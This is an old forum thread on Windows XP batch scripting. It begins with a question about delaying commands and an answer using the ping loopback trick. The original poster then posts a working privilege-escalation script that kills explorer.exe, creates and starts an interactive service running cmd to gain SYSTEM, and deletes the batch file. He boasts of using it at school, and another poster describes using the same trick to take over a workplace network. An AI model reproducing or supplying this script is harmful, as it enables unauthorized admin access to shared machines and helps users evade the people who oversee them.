Jump to content

Is this possible with batch scripting (XP)?


Duelus

Recommended Posts

Is it possible to have a batch file run a command run a command 2 seconds into the future? argh, what I really need to do is have a batch file run a scheduled at command but schedule it in a minute with out any user input of what time it is? possibly using the time command? do you get what I'm saying, I'm very frustrated.

Link to comment
Share on other sites

I'm not sure how accurate scheduling a task to run 2 seconds into the future will be. I remember back in the days of 9x there used to be a "choice" command that I used for delays, don't think it's around anymore. I don't know of any built-in commands specifically for waiting but you can grab the sleep.exe from the Windows Resource Kit which is for exactly what you want, waiting for a certain number of seconds in batch files:

http://www.microsoft.com/downloads/details...;displaylang=en

I have also been told that a nice workaround is to use ping, pinging the loopback a certain number of times. You see the first ping is sent immediately and then theres a one second delay before the second one is sent, so you could make your script wait two seconds with something like:

ping -n 3 127.0.0.1

EDIT: Re-reading your post this might not be quite what you want, you want to schedule a command to run 2 seconds in the future but then have the rest of the script continue to run? Perhaps if you explain the context this is being used in it may help.

Link to comment
Share on other sites

I pretty much figured out what I was trying to accomplish wasn't to scriptable so I found another way if anyones intrested:

sc delete testsvc

TASKKILL /F /IM "explorer.exe"

sc create testsvc binpath= "cmd /K start" type= own type= interact

sc start testsvc

del admin.bat

all you have to type is explorer.exe works perfectly at school for gaining SYSTEM

Link to comment
Share on other sites

Your admin must be pretty foolish if he lets students use the console.

Why? The console isn't dangerus, it's windows it's self that is dangerus. Any admin that disables command prompt thinking it's making there computers more secure is a fool.

Link to comment
Share on other sites

Your admin must be pretty foolish if he lets students use the console.

Why? The console isn't dangerus, it's windows it's self that is dangerus. Any admin that disables command prompt thinking it's making there computers more secure is a fool.

Absolutly true. At work the admin and I were discussing the security precations she's implimented and as soon as she noted that cmd wasn't accessable, I turned around and performed the txt file trick to gain cmd then the 'kill explorer.exe...' trick, gained system and showed her that the entire network was obtainable from my 'temp' workstation. Absolutly loved the frown on her face.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...